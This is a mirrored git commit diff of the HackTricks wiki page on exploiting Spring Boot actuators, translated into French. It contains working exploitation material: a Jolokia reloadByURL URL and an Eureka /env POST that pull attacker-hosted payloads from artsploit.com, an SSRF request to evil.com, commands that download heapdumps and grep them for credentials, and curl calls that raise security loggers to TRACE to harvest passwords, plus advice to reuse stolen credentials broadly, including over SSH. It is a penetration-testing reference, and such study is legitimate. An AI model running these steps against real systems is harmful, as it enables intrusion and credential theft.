mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a
This commit is contained in:
parent
4a06a7ab5d
commit
4c0dd25387
File diff suppressed because it is too large
Load Diff
@ -2,33 +2,33 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Bypass d'authentification Spring**
|
||||
## **Spring Auth Bypass**
|
||||
|
||||
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Provenant de** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Exploitation des Actuators Spring Boot
|
||||
## Exploiting Spring Boot Actuators
|
||||
|
||||
**Vérifiez le post original de** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
**Consultez l'article original sur** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Points Clés :**
|
||||
### **Points clés :**
|
||||
|
||||
- Les Actuators Spring Boot enregistrent des points de terminaison tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
|
||||
- Certains points de terminaison des Actuators peuvent exposer des données sensibles ou permettre des actions nuisibles :
|
||||
- Spring Boot Actuators exposent des endpoints tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces endpoints sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` ne sont pas sensibles par défaut, mais les développeurs désactivent souvent cette protection.
|
||||
- Certains endpoints Actuator peuvent divulguer des données sensibles ou permettre des actions dangereuses :
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, et `/heapdump`.
|
||||
- Dans Spring Boot 1.x, les actuators sont enregistrés sous l'URL racine, tandis qu'en 2.x, ils sont sous le chemin de base `/actuator/`.
|
||||
- Dans Spring Boot 1.x, les actuators sont enregistrés à la racine de l'URL, alors que dans 2.x, ils sont sous le chemin de base `/actuator/`.
|
||||
|
||||
### **Techniques d'Exploitation :**
|
||||
### **Techniques d'exploitation :**
|
||||
|
||||
1. **Exécution de Code à Distance via '/jolokia'** :
|
||||
- Le point de terminaison de l'actuator `/jolokia` expose la bibliothèque Jolokia, qui permet l'accès HTTP aux MBeans.
|
||||
- L'action `reloadByURL` peut être exploitée pour recharger les configurations de journalisation à partir d'une URL externe, ce qui peut conduire à un XXE aveugle ou à une Exécution de Code à Distance via des configurations XML élaborées.
|
||||
- URL d'exploit exemple : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Modification de Configuration via '/env'** :
|
||||
1. **Remote Code Execution via '/jolokia'**:
|
||||
- L'endpoint `/jolokia` expose la bibliothèque Jolokia, qui permet un accès HTTP aux MBeans.
|
||||
- L'action `reloadByURL` peut être exploitée pour recharger des configurations de logging depuis une URL externe, ce qui peut conduire à un blind XXE ou Remote Code Execution via des configurations XML spécialement conçues.
|
||||
- Exemple d'URL d'exploit : `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
|
||||
2. **Config Modification via '/env'**:
|
||||
|
||||
- Si les bibliothèques Spring Cloud sont présentes, le point de terminaison `/env` permet la modification des propriétés environnementales.
|
||||
- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, telles que la vulnérabilité de désérialisation XStream dans le service Eureka serviceURL.
|
||||
- Si les Spring Cloud Libraries sont présentes, l'endpoint `/env` permet la modification des propriétés d'environnement.
|
||||
- Les propriétés peuvent être manipulées pour exploiter des vulnérabilités, comme la vulnérabilité de deserialization XStream dans le serviceURL d'Eureka.
|
||||
- Exemple de requête POST d'exploit :
|
||||
|
||||
```
|
||||
@ -40,25 +40,101 @@ Content-Length: 65
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
|
||||
3. **Autres Paramètres Utiles** :
|
||||
- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que l'injection SQL ou la modification des chaînes de connexion à la base de données.
|
||||
3. **Other Useful Settings**:
|
||||
- Des propriétés comme `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, et `spring.datasource.tomcat.max-active` peuvent être manipulées pour divers exploits, tels que SQL injection ou la modification des chaînes de connexion à la base de données.
|
||||
|
||||
### **Informations Supplémentaires :**
|
||||
### **Informations supplémentaires :**
|
||||
|
||||
- Une liste complète des actuators par défaut peut être trouvée [ici](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- Le point de terminaison `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.
|
||||
- Une liste complète des actuators par défaut est disponible [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
|
||||
- L'endpoint `/env` dans Spring Boot 2.x utilise le format JSON pour la modification des propriétés, mais le concept général reste le même.
|
||||
|
||||
### **Sujets Connexes :**
|
||||
### **Sujets connexes :**
|
||||
|
||||
1. **Env + H2 RCE** :
|
||||
- Les détails sur l'exploitation de la combinaison du point de terminaison `/env` et de la base de données H2 peuvent être trouvés [ici](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
1. **Env + H2 RCE**:
|
||||
- Détails sur l'exploitation de la combinaison de l'endpoint `/env` et de la base H2 sont disponibles [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
|
||||
|
||||
2. **SSRF sur Spring Boot par une Interprétation Incorrecte des Noms de Chemin** :
|
||||
- La gestion des paramètres de matrice (`;`) dans les noms de chemin HTTP par le framework Spring peut être exploitée pour une Contre-Attaque de Requête Côté Serveur (SSRF).
|
||||
- Exemple de requête d'exploit :
|
||||
2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
|
||||
- La gestion par le framework Spring des paramètres matrix (`;`) dans les pathnames HTTP peut être exploitée pour du Server-Side Request Forgery (SSRF).
|
||||
- Exemple de requête d'exploitation :
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## HeapDump secrets mining (credentials, tokens, internal URLs)
|
||||
|
||||
Si `/actuator/heapdump` est exposé, vous pouvez généralement récupérer un snapshot complet du heap JVM qui contient fréquemment des secrets en direct (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).
|
||||
|
||||
- Téléchargement et triage rapide :
|
||||
```bash
|
||||
wget http://target/actuator/heapdump -O heapdump
|
||||
# Quick wins: look for HTTP auth and JDBC
|
||||
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
|
||||
# Decode any Basic credentials you find
|
||||
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
|
||||
```
|
||||
|
||||
- Analyse plus approfondie avec VisualVM et OQL :
|
||||
- Ouvrez le heapdump dans VisualVM, inspectez les instances de `java.lang.String` ou exécutez OQL pour rechercher des secrets :
|
||||
```
|
||||
select s.toString()
|
||||
from java.lang.String s
|
||||
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
|
||||
```
|
||||
|
||||
- Extraction automatisée avec JDumpSpider :
|
||||
```bash
|
||||
java -jar JDumpSpider-*.jar heapdump
|
||||
```
|
||||
Résultats typiques à forte valeur :
|
||||
- Objets Spring `DataSourceProperties` / `HikariDataSource` exposant `url`, `username`, `password`.
|
||||
- Entrées `OriginTrackedMapPropertySource` révélant `management.endpoints.web.exposure.include`, les ports de service, et Basic-Auth intégré dans les URLs (par ex., Eureka `defaultZone`).
|
||||
- Fragments de requêtes/réponses HTTP bruts incluant `Authorization: Basic ...` capturés en mémoire.
|
||||
|
||||
Conseils :
|
||||
- Utilisez une wordlist axée Spring pour découvrir rapidement les endpoints d'actuator (par ex., SecLists spring-boot.txt) et vérifiez toujours si `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env`, et `/actuator/configprops` sont également exposés.
|
||||
- Les credentials issus du heapdump fonctionnent souvent pour des services adjacents et parfois pour des utilisateurs système (SSH), donc essayez-les largement.
|
||||
|
||||
|
||||
## Abuser des loggers/logging d'Actuator pour capturer des credentials
|
||||
|
||||
Si `management.endpoints.web.exposure.include` le permet et que `/actuator/loggers` est exposé, vous pouvez augmenter dynamiquement les niveaux de logs à DEBUG/TRACE pour les packages qui gèrent l'authentification et le traitement des requêtes. Combiné avec des logs lisibles (via `/actuator/logfile` ou des chemins de logs connus), cela peut leak credentials soumis lors des flux de connexion (par ex., en-têtes Basic-Auth ou paramètres de formulaire).
|
||||
|
||||
- Énumérez et augmentez les loggers sensibles :
|
||||
```bash
|
||||
# List available loggers
|
||||
curl -s http://target/actuator/loggers | jq .
|
||||
|
||||
# Enable very verbose logs for security/web stacks (adjust as needed)
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
|
||||
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
|
||||
```
|
||||
|
||||
- Trouvez où les logs sont écrits et récoltez-les :
|
||||
```bash
|
||||
# If exposed, read from Actuator directly
|
||||
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
|
||||
|
||||
# Otherwise, query env/config to locate file path
|
||||
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
|
||||
```
|
||||
|
||||
- Déclenchez du trafic de login/authentification et analysez le log pour les creds. Dans des architectures microservices avec une gateway en front d'auth, activer TRACE pour les packages gateway/security rend souvent visibles les headers et les corps de formulaires. Certains environnements génèrent même périodiquement du trafic de login synthétique, rendant la récolte triviale une fois que le logging est verbeux.
|
||||
|
||||
Remarques :
|
||||
- Réinitialisez les niveaux de log une fois terminé : `POST /actuator/loggers/<logger>` avec `{ "configuredLevel": null }`.
|
||||
- Si `/actuator/httpexchanges` est exposé, il peut aussi faire apparaître des metadata récentes de requêtes qui peuvent inclure des headers sensibles.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
|
||||
- [VisualVM](https://visualvm.github.io/)
|
||||
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
|
||||
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user